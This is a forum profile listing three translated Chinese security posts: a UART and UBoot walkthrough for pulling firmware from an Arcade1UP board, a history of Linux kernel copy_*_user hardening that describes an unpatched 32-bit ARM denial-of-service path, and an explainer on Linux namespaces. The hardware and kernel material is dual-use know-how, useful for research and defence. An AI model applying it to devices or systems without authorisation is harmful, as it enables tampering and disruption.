Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. 這篇文章將以Arcade 1UP Marvel 街機為目標,重點介紹UART、UBoot 和USB。 Arcade1UP系列街機自從推出以來,已經有很多玩家在研究如何更換機櫃的內部組件來運行通用MAME 軟件。這篇文章將著眼於現有的硬件,並討論如何提取固件。 在這篇文章,我們將介紹以下內容: 1.拆卸現有嵌入式系統的支撐硬件; 2.通過IC 標記識別組件; 3.用萬用表測量連接器電壓; 4.邏輯分析儀的使用和設置; 5.UBoot分析和審查; 6.使用depthcharge 編寫UBoot 交互腳本; 這篇文章旨在介紹在目標系統上定位活動的UART、如何接近UBoot 控制台以及最終如何利用這兩個組件從我們的目標中提取閃存。閱讀本文後,你將熟悉屏幕實用程序depthcharge python3庫。 硬件概述在查看新目標時,首要任務之一是檢查可用的接口。在這個街機櫃的例子中,可用的接口乍一看是相對較小的。用戶通過操縱桿/按鈕和機櫃側面的USB接口與該設備進行交互。在機櫃的一側似乎很少有關於USB端口的信息。請注意,即使在網站上的圖片,也沒有USB端口。但是,在機櫃的一側有一個USB設備端口,用於提供外部控制器支持。在另一邊,我們有一個標準的耳機插孔。這兩個外設的行為與預期的一樣,USB端口可以用於連接外部控制器。 在一些老式的手機上,可以配置音頻插孔以在啟動時顯示串行終端。關於這方面的更多信息可以在這裡找到。不幸的是,在這個平台上沒有這樣的修改。 第一次查看這樣的PCB 時,我們首先要記下任何零件編號,看看是否能找到任何數據表。第一個讓我印象深刻的組件用藍色突出顯示。 它是RockchipRK3128,如果我們在網上搜索這個部件編號,我們會發現大量的相關信息。 中央處理器四核ARM Cortex-A7MP Core 處理器,一種高性能、低功耗和緩存的應用處理器; 完全實現ARM架構v7-A指令集,ARM Neon Advanced SIMD(單指令,多數據)支持加速媒體和信號處理計算; 圖形處理器ARM Mali400 MP2; 高性能OpenGL ES1.1 和2.0、OpenVG1.1 等; 內存8 kb的內部存儲器; 動態內存接口(DDR3/DDR3L/LPDDR2):兼容JEDEC標準DDR3-1066/DDR3L-1066/LPDDR2-800 SDRAM。支持32位數據寬度,2級(芯片選擇),總共2GB(最大)地址空間。 Nand Flash接口:支持8位async/toggle/syncnandflash,最多4個bank。 16位、24位、40位、60位硬件ECC; eMMC接口:兼容標準eMMC接口,支持MMC4.5協議; 視頻MPEG-1, MPEG-2, MPEG-4,H.263, H.264, H.265, VC-1, VP8, MVC的實時視頻解碼器 音頻具有8 個通道的I2S/PCM:最多8 個通道(8xTX、2xRX),從16 位到32 位的音頻分辨率,採樣率高達192KHz。 具有2個通道的I2S/PCM:最多2 個通道(2xTX、2xRX),從16 位到32 位的音頻分辨率,採樣率高達192KHz。 連接SPI控制器:一個集成SPI控制器; UART控制器:3個集成UART控制器; I2C控制器:4個集成I2C控制器; USB Host2.0:嵌入式1 USB Host 2.0接口; USB OTG2.0:兼容USB OTG2.0規範,支持高速(480Mbps)、全速(12Mbps)和低速(1.5Mbps)模式; 依據上述描述,我們就了解了很多關於目標處理器的信息。我們現在知道了架構和可用的外圍設備和接口,這些對我們是有用的,因為它們可能概述未來的攻擊向量。重要的是要記住,在逆向工程過程的這個階段沒有太多的信息。在嘗試與目標進行交互之前,我們希望盡可能多地了解目標。 在CPU附近,我們有另一個以橙色突出顯示的組件。 此組件標記為SEC931 K4B2G1646F-BYMA,我們很幸運,從三星在此網頁中搜索此部件編號結果。本頁上的信息告訴我們這是一個2GB DDR3 SDRAM芯片。一個數據表也可以從這個頁面獲得,收集可用的數據表總是值得的。該芯片負責將可用內存擴展到CPU,並提供一個易失性內存源(RAM)。 到目前為止,我們已經確定了哪些可能是主CPU和外部RAM。然而,我們仍然缺少一種非易失性存儲。所以,接下來,讓我們檢查一下下面用粉色突出顯示的組件。 此組件被標記為Winbond 25N01GVZEIG,搜索此部件編號將導致我們找到此數據表。這部分是一個1G-bit串行SLC NAND閃存芯片。根據數據表,該芯片採用串行外設接口,兼容的電壓範圍在2.6V到3.3V之間。該芯片可能包含機櫃使用的大部分數據,並將成為我們提取固件的主要目標。 最後一個組件靠近GPIO線,標記為MIX2018A。這個組件不像我們看到的其他組件,我無法找到那麼多的信息。然而,該IC 似乎是音頻放大器。 回顧一下到目前為止我們已經確定的組件,有: 瑞芯微RK3128 ARM CPU; 三星SRAM 芯片; 華邦1GBit NAND 閃存; MIX2018A 音頻放大器; 現在我們已經回顧了這塊板上的集成電路,讓我們看看板上的連接器,看看我們能學到什麼。 連接器分析現在我們已經記錄了主板上的分立組件,我們將嘗試識別主板上的外部連接器。首先,我們有桶形連接器;此連接器在下圖中以藍色標出: 該連接器用於為機櫃供電 在桶形連接器的右側,我們有一個微型USB 端口。這應該立即引起人們的注意,原因有兩個: 這不是一個面向用戶的端口; 這不是一個USB 主機端口,這是一個微型端口,表示USB 設備或可能是OTG(移動)控制器; 繼續向右,我們有兩行頂針。這些是通過早期圖像中顯示的灰色帶狀電纜連接的。該連接器連接到一個單獨的控制板,用於處理操縱桿/按鈕。 在我們的控制面板連接器之後,還有另一個四針連接器。有了這個連接器,它的方向就不那麼明顯了。例如,這個接口可以連接USB接口或耳機接口。我們可以用萬用表的連續性測試來確定這一點。連續性測試將檢查電流是否可以在兩個探頭之間流動,通常用以下符號在萬用表上表示: 我們可以使用這個模型來測試兩個組件是否連接,我把一根耳機線插入耳機插孔,把探針放在一個金屬環上進行測試。用另一個探針,我觸摸了四針連接器的每一個點,在其中一條線上,萬用表發出了一聲響亮的嗶嗶聲,讓我們知道這兩點之間存在連接。三個引腳中的每一個都與音頻連接器上的一個環相吻合,這是我們的音頻接口! 接下來,我們有用於顯示的連接器。 在顯示屏附近,我們有兩個兩針連接器,一個在右下角,用於為字幕的背光供電,另一個用於金屬外殼外部的開關。 下面的連接器看起來類似於音頻連接器,它是一個四針連接器,其線纜可以連接到控制面板。只有一個接口我們還沒有考慮,那就是在機櫃的一側的USB連接器。如果我們將萬用表設置為連續模式,並將這個連接器的插腳與機櫃側面的USB連接器進行測試,我們發現它們確實是連接的,這是我們的外接USB接口。 我們已經確定了所有必須斷開的連接,以便更好地查看電路板。因此,我們只剩下幾件事情要檢查。當檢查PCB時,要尋找的一件事是任何未使用的測試焊盤或通孔。 如上圖所示,我們可以看到我們有三組不同的未填充的標頭或焊盤。在PCB的頂部,我們有三個通孔,通孔用於在PCB的多層之間進行連接。在檢查嵌入式系統時,此類通孔通常是一個很好的起點,因為它們可能代表開發期間使用的調試頭。 另一個未填充的是由16個焊盤組成,由一個白色矩形和一個小圓圈表示。這組焊盤可能是用於該板上不需要的另一個集成電路。 最後,最後一組焊盤看起來非常類似於用於USB和音頻的連接器。當查看未使用的焊盤時,像這樣的四腳連接通常是通過UART調試控制台的候選者,我們將在下一節中檢查這些標頭文件並討論UART。 檢查調試標頭在查看上一節中指出的未知標頭時,我通常從測量電壓開始。我們可以使用萬用表來做到這一點。為了計算這些焊盤上的電壓,我們將萬用表設置為直流測量模式,並在將黑色探頭放在接地點上的同時探測感興趣的位置。引腳測量如下: 這些線路上沒有電壓,雖然這令人失望,但並不意外。如果這是一個有源UART 或另一個正在傳輸的數字信號,我們會期望看到電壓波動形式的一些活動。讓我們繼續討論另一個三針接頭。 當測量這個連接器時,我們的第二個引腳在啟動時波動很大,然後穩定在3.3V。 注意:在搜索串行端口時,你可能並不總是看到這種幅度的電壓波動。波動與信號的活躍程度直接相關,這意味著如果流量很少,你將幾乎看不到波動。如果你懷疑你有UART 接頭或某種數字接口,最好使用邏輯分析儀進行檢查。 我們看到了可能看起來像信號活動的情況(基於電壓波動)。接下來,我們將使用邏輯分析器檢查此流量。邏輯分析儀幫助我們將這些電壓波動轉換為人類可讀的1 和0 序列。為此,我們將使用母母跳線(female-female jumper wire)將我們的邏輯分析儀連接到我們的兩個興趣點,如下圖所示: 分析儀連接後,我們將啟動Pulseview,從下拉菜單中選擇我們的分析儀,該設備在pulseview 中顯示為“Saleae Logic”設備。這個分析儀的最大捕獲速率是24MHz,我們將使用它來進行分析。我們還需要指定樣本數量,我已經將其設置為500G樣本。 我們將通過點擊運行啟動捕獲,然後使用這些設置啟動機櫃。 這樣,我們就捕獲了一些流量,在我們進一步討論pulseview 之前,讓我們先介紹一下UART如何在信號級別上工作。我們已經確認有某種流量通過這些線路傳輸;接下來,我們需要了解更多關於UART 流量以及如何分析它的知識。 UARTUART代表通用異步接收發送器,UART是一種允許兩個設備通信的二線製異步串行協議。每一方所需的兩條線路是傳輸(Tx)和接收(Rx)線路。 UART可以用於嵌入式系統中的許多事情,包括與其他處理器通信、傳感器通信和調試訪問。 UART是一種異步協議,意味著不需要時鐘信號。相反,通信雙方都預先配置為以一定的速度進行通信,稱為波特率。波特率以每秒位數為單位。 UART報文/傳輸由以下字段組成: 即使有了上面的數據包定義,我們也很難確定我們的邏輯捕獲的內容。幸運的是,Pulseview 有一個我們可以利用的UART 解碼器。 解碼UART通信使用pulseview ,我們可以嘗試解碼這個通信,看看它是否確實是一個活動的UART。要設置解碼器,請點擊下面的綠色和黃色符號。這將打開解碼器選擇窗口,在搜索欄中輸入uart,並選擇uart解碼器。 接下來,我們需要配置UART解碼器。我們需要選擇適當的頻道並設置此解碼器所需的任何協議特定參數。可配置參數如下: 首先,我們選擇我們的Rx 線路作為我們包含流量的通道;在我們的例子中,這將是D1。對於所有其他字段,我們將保留它們的默認值、8 位數據寬度、無奇偶校驗等。 有一件事我們需要自己調查和了解:波特率。請記住,雙方必須提前就波特率達成一致,沒有協商/啟動順序。我們需要自己確定波特率,否則,解碼器將不知道如何正確地解析這些信號。要確定波特率,我們可以執行以下操作。 1.放大看起來是最小的脈沖之一; 2.使用Pulseview中的數據標記選擇脈衝寬度,點擊下面的按鈕啟用它們; 3.選擇小脈衝範圍後,Pulseview會自動計算頻率並給出赫茲的測量值,如下圖所示。 赫茲的周期是每秒,我們的波特率是每秒位數的度量。因此,如果我們突出顯示了通過導線發送的一個位,以及這個脈衝的頻率,我們也得到了波特率。 根據Pulseview,我們計算的頻率是115.384 kHz,換算成波特率為115385位/秒。熟悉調試控制台的人可能會注意到,這非常接近常用的波特率115200。我們把這個值代入解碼器,看看會發生什麼。 如果我們查看下面的屏幕截圖,可以看到擁有看似有效的調試日誌。 我們有一個活躍的UART並且知道它的波特率,但是現在我們需要找到一種與它接口的方法。為此,我們將使用樹莓派。更新後的機櫃管腳如下: 配置樹莓派樹莓派有多個UARTS可用,我們將使用的UART在下圖中突出顯示: 我們需要確保啟用了適當的設備樹blob來啟用這個UART。設備樹blob的目的是為內核提供一種方法來理解可用的硬件外圍設備。內核將在啟動時讀取這些二進制信息,並枚舉指定的外設。在對嵌入式Linux系統進行逆向工程時,提取這些信息是有益的,因為可以對這些信息進行反編譯,並勾勒出各種外設在內存中的位置。 樹莓派上所有相關的設備樹blob 都可以位於/boot/overlays/中。在這個文件夾中,你會發現用於多種硬件配置的設備樹二進制對象,一些用於特定的帽子(為Pi設計的定制pcb),可以連接到Pi,其他用於啟用各種IO外圍設備。我們可以使用raspi-config工具為UART外設啟用適當的DTB。
  2. Linux 內核是一個不斷迭代的代碼庫,截至2021 年,其代碼行數已超過3000 萬行。然而,由於用戶通常不會運行最新的頂層Linux 內核,因此從用戶的角度來看,它也是一個非常分散的代碼庫,這對安全性有重要影響。一致的安全屬性(跨內核版本、處理器架構、編譯器版本)是grsecurity一個重要目標,但頂層通常不會將添加的預防性安全檢查或功能向後移植到舊支持的內核,並且這些措施的狀態沒有很快被最終用戶採用,實際上,必須是有經驗的專注於安全的內核開發人員才能確定他們自己系統的狀態。 作為系統管理員,我們首先要擔心的問題是一個系統的安全性和穩定性,其次才是它的效能和效率。一個系統是否安全,一般來說與系統的複雜性有直接關係。對於必須開放訪問的系統來說,成熟而可靠的系統保護措施是十分重要的。而對作為各種程序運行平台的操作系統而言,系統越複雜可能隱藏的攻擊面也就越多。 受copy_*_user 中的檢查影響的漏洞類型在過去已經出現過幾次,例如, Mathias Krause 在2013 年的修復報告。在討論這些檢查時,最有意義的是談論當前的頂層狀態,之後我們可以討論代碼的歷史以及它是如何隨著時間的推移而演變的。 當前頂層copy_*_user() 檢查在當前的頂層內核中,copy_from_user(用於將數據從用戶級複製到內核)和copy_to_user(用於將數據從內核複製到用戶級)實現如下: 因此,如果check_copy_size() 通過,則將調用較低級別的copy_*_user 例程。這些較低級別的例程可以內聯或不內聯,具體取決於處理器架構,但它們的實現方式保持不變: access_ok() 是一個古老的例程,其目的是驗證用戶空間中提供的範圍(作為copy_from_user 的源,copy_to_user 的目標)是否實際駐留在用戶空間中。這個API 最近發生了變化,從thread_info 結構中刪除了addr_limit 並將內核拆分為內核副本到它自己的API。以前,在addr_limit 恢復之前的set_fs(KERNEL_DS) 或惡意修改的addr_limit(過去幾年的常見漏洞利用技術)之後運行的代碼可以(ab)使用copy*user 進行任意內核讀/寫。 should_fail_usercopy() 與錯誤注入(模糊增強)有關,可以忽略。 instrument_* 同樣可以忽略,因為它與KASAN(調試/模糊測試增強)有關。出於生產安全目的,我們感興趣的唯一代碼是access_ok() 和check_copy_size()。 讓我們稍微解釋一下這裡顯示的內容:__compiletime_object_size()是一個宏,它利用了編譯器的__builtin_object_size()。如果內核中用於復制的源或目標(適當)的對象的大小能夠在編譯時確定,這將返回該對象的大小。否則,編譯器版本不支持__builtin_object_size(),它返回-1。 當內核對象的大小是靜態已知的並且要復制的長度也是恆定的時,__bad_copy_from() 和__bad_copy_to() 都是編譯時出現的錯誤,這種情況在實踐中不太可能會變成安全問題,除非代碼從未測試/使用過。當對像大小靜態已知但複製長度不是編譯時常量時,Copy_overflow()是一個運行時警告。 如果復制長度大於INT_MAX,“WARN_ON_ONCE(bytes INT_MAX)”檢查將產生運行時警告。由於這是在無符號size_t 類型上計算的,因此當在有符號int 或long 類型上解釋時(即oss-sec 上報告的錯誤的情況),這具有拒絕負長度的附加效果。稍後會詳細介紹此檢查。 check_object_size() 來自頂層的USERCOPY 功能的有限版本。不會對其返回值進行檢查,因為它不會像其他檢查那樣簡單地使復制失敗,而是在usercopy_abort() 中執行BUG() ,這在簡單的情況下將簡單地終止所涉及的進程,但在更複雜的場景中,例如在用戶空間副本周圍保留互斥鎖可能會導致某些代碼路徑鎖定,或者在panic_on_oops 場景中,會導致系統崩潰。 關於oss-sec 報告中討論的漏洞的實際影響,由於2018 年6 月的'fsi: Add cfam char devices'中針對Linux 4.19 引入了錯誤的CFAM 更改,因此cfam_write() 案例將進入copy_from_user()使用負長度,到達check_copy_size() ,其中__compiletime_object_size() 將返回4 用於復製到的__be32 數據變量,然後由於字節不是編譯時常量,將調用copy_overflow(),觸發其中包含的WARN(),並錯誤地中止複制操作。 為了簡潔起見,我們將把分析限制在這些方面,而不會深入raw_copy_*_user()本身的實現,它已經看到了自己的體系結構特定的發展,包括SMAP/PAN/等的引入和Spectre的發現。 在繼續之前要注意的最後一點是memset()只存在於_copy_from_user()中,內核註釋如下: 注意:1.只有copy_from_user() 在短複製的情況下將目標置零。 2.__copy_from_user() 和__copy_from_user_inatomic() 都不為零。 3.他們的調用者絕對必須檢查返回值。 注意__copy_*_user(兩個下劃線)和_copy_*_user(一個下劃線)是不同的。這個memset()的原因大概是為了解決Linux歷史上copy_*_user被標記為__must_check屬性之前的情況,要求調用者檢查返回值是否錯誤。考慮一種常見的情況,即從用戶級複製結構,內核更改了某些字段,然後將結構複製回用戶級。如果來自用戶級的副本或內核設置字段沒有寫入的區域被複製回用戶級,且未初始化,它們可能會將之前的內存內容洩漏到用戶級(信息洩漏)。用戶級還可以通過使部分複制範圍包括未映射的地址或操作的無效權限來強制低級複製例程中的部分失敗。 check_object_size() 的歷史這個檢查第一次出現在2016年6月的Linux 4.8版本中,通過commit“mm: Hardened usercopy”。它的提交信息如下: “這是將PAX_USERCOPY移植到主線內核的開始。這是由CONFIG_HARDENED_USERCOPY控制的第一組特性。這項工作是基於PaX Team和Brad Spengler的代碼,以及Casey Schaufler的早期移植。其他非平板頁面測試來自Rik van Riel。” check_object_size() 通過引用堆和其他元數據來工作,以便在運行時盡可能驗證複製操作是否發生在單個對象的範圍內。 儘管上面提到的提交消息是移植完整功能的開始,但在5年裡,除了禁用上述添加的頁面測試(grsecurity中不存在)以外,該功能沒有出現其他重大變化,這破壞了內核的幾個方面。 PAX_USERCOPY最初發佈於2009年,比有限的上游版本早了大約7年。強化後的用戶複製代碼沒有向後移植到早期版本,包括當時的活動LTS 版本。因此,頂層4.4 XLTS。 __compiletime_object_size()/__builtin_object_size() 的歷史__builtin_object_size()在2005年Arjan van de Ven編寫的FORTIFY_SOURCE補丁中首次使用。它最初關注的是FORTIFY_SOURCE在用戶級中也涵蓋的典型的str*和mem* api。 2009 年,在研究FORTIFY_SOURCE 在內核中的實際覆蓋範圍時,我將Arjan 的工作擴展到對更多函數執行檢查,並增加了它對一些[k|v]malloc 對像大小的編譯時知識,發現它只檢測了約30% 的涵蓋API 實例,不過從安全角度來看,是不太可能出現被攻擊的。 這些str* 和mem* API 的覆蓋範圍是在2017 年7 月為4.13 內核提交“include/linux/string.h: add the option of fortified string.h functions”,但沒有提及早期的工作,或者任何使用一些動態分配對像大小的改進知識,將其有效覆蓋率降低到我最初調查的30% 以下。 2009 年Arjan van de Ven 通過提交“x86: Use __builtin_object_size() to validate the buffer size for copy_from_user()”為x86 頂層添加了用於copy__*_user 的__builtin_object_size()。這個Linux 2.6.34的初始版本只覆蓋了copy_from_user,僅從2013 年10 月開始涵蓋copy_to_user,其中Jan Beulich 為Linux 3.13 提交了'x86: Unify copy_to_user() and add size checking to it'。它看到了許多重構,最終通過Al Viro 在2017 年3 月為4.12 版本的Linux 提交'generic .copy_._user primitives'產生了一個獨立於架構的變體。 正如我們之前提到的,__builtin_object_size() 是由編譯器提供的。 2013 年4 月,為了響應內核在某些GCC版本上現有使用內置函數產生的編譯時錯誤,Guenter Roeck 合併了“gcc4: disable __compiletime_object_size for GCC 4.6+”,使得整個練習對受影響的編譯器毫無用處版本(當時,最新發布的GCC 版本是4.8.0)。 “我想指出,儘管__compiletime_object_size() 在4.6 之前被限制為gcc,但整個構造將變得越來越沒有意義。 然而,我會質疑commit 2fb0815c9ee6b9ac50e15dd8360ec76d9fa46a2 ('gcc4: disable__compiletime_object_size for GCC 4.6+') 確實是必要的,相反,這應該像從一開始就在這裡做的那樣處理。” 然而,直到2016年8月Josh Poimboeuf的Linux 4.8 commit:“mm/usercopy: get rid of CONFIG_DEBUG_STRICT_USER_COPY_CHECKS”,對GCC=4.1和4.6使用__builtin_object_size()的限制被更改為GCC=4.1。在這次提交時,GCC 6.2是最新的編譯器版本。 Josh的提交也消除了啟用調試選項以獲得功能的需要。 綜上所述,在大約三年的時間裡,除了少數內核開發人員對內核進行檢查之外,用戶都沒有進行過有關操作。還應該注意的是,放寬對__builtin_object_size() 版本限制的4.8 提交從未向後移植到早期的內核,這意味著即使對於今天最新的4.4 XLTS 版本,任何涉及此的檢查對於幾乎任何現代用戶都是完全無實操可能性的。 你可能想知道,Clang在構建Linux時是如何發揮作用的,儘管谷歌在2018 年底開始使用Clang 構建內核的4.4 內核。 Clang 歷史上(甚至在最新版本中)偽造了4.2.1 的GCC 版本,因此不受這些更改的影響。 WARN_ON_ONCE 的歷史(bytes INT_MAX)這種檢查最早是Linus Torvalds 本人在2005 年2 月對2.6.11 內核通過BUG_ON() 對i386 進行的檢查。由於Andi Kleen 的提交“[PATCH] i386: Remove copy_*_user BUG_ONs for (size 0)”,兩年多後,這些檢查在2.6.22版本的內核中被刪除,並錯誤地解釋為“access_ok檢查這種情況,不需要檢查兩次”。這種解釋是錯誤的,因為雖然access_ok()確實有效地檢查了相同的情況,但BUG_ON()避免了後續memset()的執行,此後memset()就可以執行了。 在grsecurity 中,2.6.29 版本的Linux 在2009 年8 月時在Linux 支持的幾乎所有架構中安全地實施了此檢查,沒有BUG_ON()。重要的是,此檢查是在access_ok() 之前執行的,並且在copy_from_user() 的情況下避免了稍後將討論的易受攻擊的memset()。 在頂層,這項檢查是由Kees Cook 在2019 年12 月針對Linux 5.5通過“uaccess: disallow INT_MAX copy sizes”引入的。由於只有2 行更改,因此一個月後它被反向移植到Linux 5.4。然而,由於copy_*_user API 在前幾年經歷了相當大的變動,這個簡單的改變並沒有被進一步的反向移植,因此在上游的4.4、4.9、4.14或4.19 XLTS內核中也沒有出現,而這些內核現在仍然支持XLTS。 copy_from_user memset 的歷史在x86 上,至少可以追溯到2002 年之前,只有在access_ok() 成功時才對失敗的copy_from_user 進行歸零。例如當copy_from_user的大小不是編譯時常量時調用__generic_copy_from_user 的實現。後來,情況發生了變化,從Linux 2.4.3.4 的這個提交開始,從隨後的2.4.35版本的這個改變開始,該版本在access_ok()失敗時添加了歸零設置。 Andrew Morton在2003年6月發布了一個x86補丁,提到了在access_ok()失敗的情況下重新放置memset()。 最有趣的是,早在2002年的Linux 2.4.4.4中,ARM就有以下變化: 目前尚不清楚該評論是指它緩解了前面描述的安全漏洞還是引入了一個漏洞,該漏洞可能由攻擊者控制長度的緩衝區歸零,然而,這一改變確實帶來了一個潛在漏洞。考慮到由於計算中的一些溢出而導致n=-1 的情況:access_ok() 在32 位ARM 上將失敗,因為n 表示為添加到任何用戶空間的無符號值地址將涵蓋包括內核空間在內的範圍。 else 情況將被觸發,導致長度為0xffffffff 的memzero(),肯定會導致系統無法恢復的DoS。 目前該問題仍然存在於頂層中。 由於2019年添加的禁止INT_MAX副本大小的頂層檢查是在check_copy_size()中實現的,因此它失敗了,避免了對_copy_from_user()的調用,這將執行錯誤的memset(),與十年前的grsecurity更改相同。然而,由於未知的原因,在提交消息或它所引用的郵件列表討論中,根本沒有提到修復這個漏洞。 如上所述,由於頂層的更改未向後移植到4.4、4.9、4.14 或4.19版本種,因此可以將負長度傳遞給copy_from_user() 的內核版本中存在的錯誤可能會導致大量內存損壞並保證系統DoS。如果有人接受某些人提出的緩解建議並啟用panic_on_warn,2019年進行的頂層更改也會通過恐慌導致DoS。
  3. 進程隔離是容器的關鍵組件,容器的關鍵底層機制之一是命名空間(namespaces),下面將分析命名空間(namespaces)是什麼以及命名空間(namespaces)是如何工作的,通過構建自己的隔離容器能夠更好地理解每一部分。 0x01 命名空間(namespaces)是什麼命名空間(namespaces)是2008 年內核版本2.6.24 中發布的Linux 內核特性。它們為進程提供了自己的系統視圖,從而將獨立的進程相互隔離。換句話說, 命名空間(namespaces)定義了一個進程可以使用的資源集,你不能與你看不到的東西交互。在高層次上,它們允許對全局操作系統資源進行細粒度分區,例如安裝點、網絡堆棧和進程間通信實用程序。命名空間(namespaces)的一個強大方面是它們限制了對系統資源的訪問,而正在運行的進程不知道這些限制。在典型的Linux 方式中,它們表示為/proc/ cryptonite@cryptonite:~$echo$$ 4622 cryptonite@cryptonite:~$ls/proc/$$/ns-al total0 dr-x--x--x2cryptonitecryptonite0Jun2915:00. dr-xr-xr-x9cryptonitecryptonite0Jun2913:13. lrwxrwxrwx1cryptonitecryptonite0Jun2915:00cgroup-'cgroup:[4026531835]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00ipc-'ipc:[4026531839]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00mnt-'mnt:[4026531840]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00net-'net:[4026532008]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00pid-'pid:[4026531836]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00pid_for_children-'pid:[4026531836]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00time-'time:[4026531834]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00time_for_children-'time:[4026531834]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00user-'user:[4026531837]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:00uts-'uts:[4026531838]'當生成一個新進程時,所有的命名空間(namespaces)都繼承自它的父進程。 #inception cryptonite@cryptonite:~$/bin/zsh #fatherPIDverification ╭─cryptonite@cryptonite~ ╰─$ps-efj|grep$$ crypton+135604622135604622115:07pts/100:00:02/bin/zsh ╭─cryptonite@cryptonite~ ╰─$ls/proc/$$/ns-al total0 dr-x--x--x2cryptonitecryptonite0Jun2915:10. dr-xr-xr-x9cryptonitecryptonite0Jun2915:07. lrwxrwxrwx1cryptonitecryptonite0Jun2915:10cgroup-'cgroup:[4026531835]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10ipc-'ipc:[4026531839]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10mnt-'mnt:[4026531840]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10net-'net:[4026532008]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10pid-'pid:[4026531836]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10pid_for_children-'pid:[4026531836]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10time-'time:[4026531834]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10time_for_children-'time:[4026531834]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10user-'user:[4026531837]' lrwxrwxrwx1cryptonitecryptonite0Jun2915:10uts-'uts:[4026531838]'命名空間(namespaces)是使用帶有以下參數之一的clone系統調用創建的: CLONE_NEWNS - 創建新的掛載命名空間(namespaces); CLONE_NEWUTS - 創建新的UTS 命名空間(namespaces); CLONE_NEWIPC - 創建新的IPC 命名空間(namespaces); CLONE_NEWPID - 創建新的PID 命名空間(namespaces); CLONE_NEWNET - 創建新的NET 命名空間(namespaces); CLONE_NEWUSER - 創建新的USR 命名空間(namespaces); CLONE_NEWCGROUP - 創建一個新的cgroup 命名空間(namespaces)。 命名空間(namespaces)也可以使用unshare系統調用來創建。 clone和unshare的區別在於,clone會在一組新的名稱空間中生成一個新進程,而unshare會在一組新的namespaces中移動當前進程。 0x02 為什麼要使用命名空間(namespaces)如果我們將命名空間(namespaces)想像為包含一些抽象全局系統資源的進程的盒子,這些盒子的一個好處是你可以從一個盒子中添加和刪除內容,並且不會影響其他盒子的內容。或者,如果一個盒子(一組命名空間namespaces)中的進程A 發瘋並決定刪除該盒子中的整個文件系統或網絡堆棧,它不會影響為放置在不同盒子中的另一個進程B 提供的這些資源的抽象。此外,命名空間(namespaces)甚至可以提供細粒度的隔離,允許進程A 和B 共享一些系統資源(例如共享掛載點或網絡堆棧)。當必須在給定機器上執行不受信任的代碼而不影響主機操作系統時,通常會使用命名空間(namespaces)。 Hackerrank、Codeforces、 Rootme等編程競賽平台使用命名空間(namespaces)環境,以便安全地執行和驗證參賽者的代碼,而不會使他們的服務器面臨風險。 PaaS(平台即服務)提供商,例如穀歌云引擎使用命名空間(namespaces)環境在同一硬件上運行多個用戶服務(例如網絡服務器、數據庫),而不會干擾這些服務。因此,命名空間(namespaces)也可以被視為對有效的資源共享很有用。 Docker 或LXC 等其他雲技術也使用命名空間(namespaces)作為進程隔離的手段。這些技術將操作系統進程置於容器隔離環境中。例如,在Docker 容器中運行進程就像在虛擬機中運行一樣。容器和虛擬機之間的區別在於容器直接共享和使用主機操作系統內核,因此由於沒有硬件仿真,它們比虛擬機輕量得多。整體性能的提高主要是由於使用了直接集成在Linux 內核中的命名空間(namespaces)。 0x03 命名空間(namespaces)的類型在當前穩定的Linux Kernel 5.7 版中,有七種不同的命名空間(namespaces): PID命名空間(namespaces):系統進程樹的隔離; NET 命名空間(namespaces):主機網絡堆棧的隔離; MNT 命名空間(namespaces):主機文件系統掛載點的隔離; UTS 命名空間(namespaces):主機名的隔離; IPC 命名空間(namespaces):進程間通信實用程序(共享段、信號量)的隔離; USER 命名空間(namespaces):系統用戶ID 的隔離; CGROUP 命名空間(namespaces):隔離主機的虛擬cgroup 文件系統。 命名空間(namespaces)是每個進程的屬性。每個進程最多可以感知一個命名空間(namespaces)。換句話說,在任何給定時刻,任何進程P 都恰好屬於每個命名空間(namespaces)的一個實例。例如,當一個給定的進程想要更新系統上的路由表時,內核會向它顯示它當時所屬命名空間(namespaces)的路由表副本。如果進程在系統中詢問其ID,內核將以其當前命名空間(namespaces)中的進程ID 響應(在嵌套命名空間(namespaces)的情況下)。我們將詳細查看每個命名空間(namespaces),以了解它們背後的操作系統機制。了解這一點將幫助我們找到當今容器化技術的本質。 1.PID命名空間(namespaces)歷史上,Linux 內核一直維護著一個單一的進程樹。樹數據結構包含對當前在父子層次結構中運行的每個進程的引用。它還枚舉操作系統中所有正在運行的進程。這個結構在procfs文件系統中維護, 它是實時系統的一個屬性,即它僅在操作系統運行時存在。這種結構允許具有足夠特權的進程附加到其他進程、檢查、通信和kill它們。它還包含有關進程的根目錄、當前工作目錄、打開的文件描述符、虛擬內存地址、可用安裝點等的信息。 #anexampleoftheprocfsstructure cryptonite@cryptonite:~$ls/proc/1/ arch_statuscoredump_filtergid_mapmountspagemapsetgroupstask attrcpu_resctrl_groupsiomountstatspatch_statesmapstimens_offsets cgroupenvironmap_filesnuma_mapsrootstatuid_map clear_refsexemapsoom_adjschedstatm . #anexampleoftheprocesstreestructure cryptonite@cryptonite:~$pstree|head-n20 systemd-+-ModemManager---2*[{ModemManager}] |-NetworkManager---2*[{NetworkManager}] |-accounts-daemon---2*[{accounts-daemon}] |-acpid |-avahi-daemon---avahi-daemon |-bluetoothd |-boltd---2*[{boltd}] |-colord---2*[{colord}] |-containerd---17*[{containerd}]在系統啟動時,大多數現代Linux 操作系統上啟動的第一個進程是systemd(系統守護進程),它位於樹的根節點上。它的父進程是PID=0,它是OS 中不存在的進程。此進程之後負責啟動其他服務/守護進程,這些服務/守護進程表示為其子進程,並且是操作系統正常運行所必需的。這些進程的PID 1,樹結構中的PID 是唯一的。 隨著Process 命名空間(namespaces)(或PID 命名空間(namespaces))的引入可以製作嵌套的流程樹。它允許除systemd (PID=1) 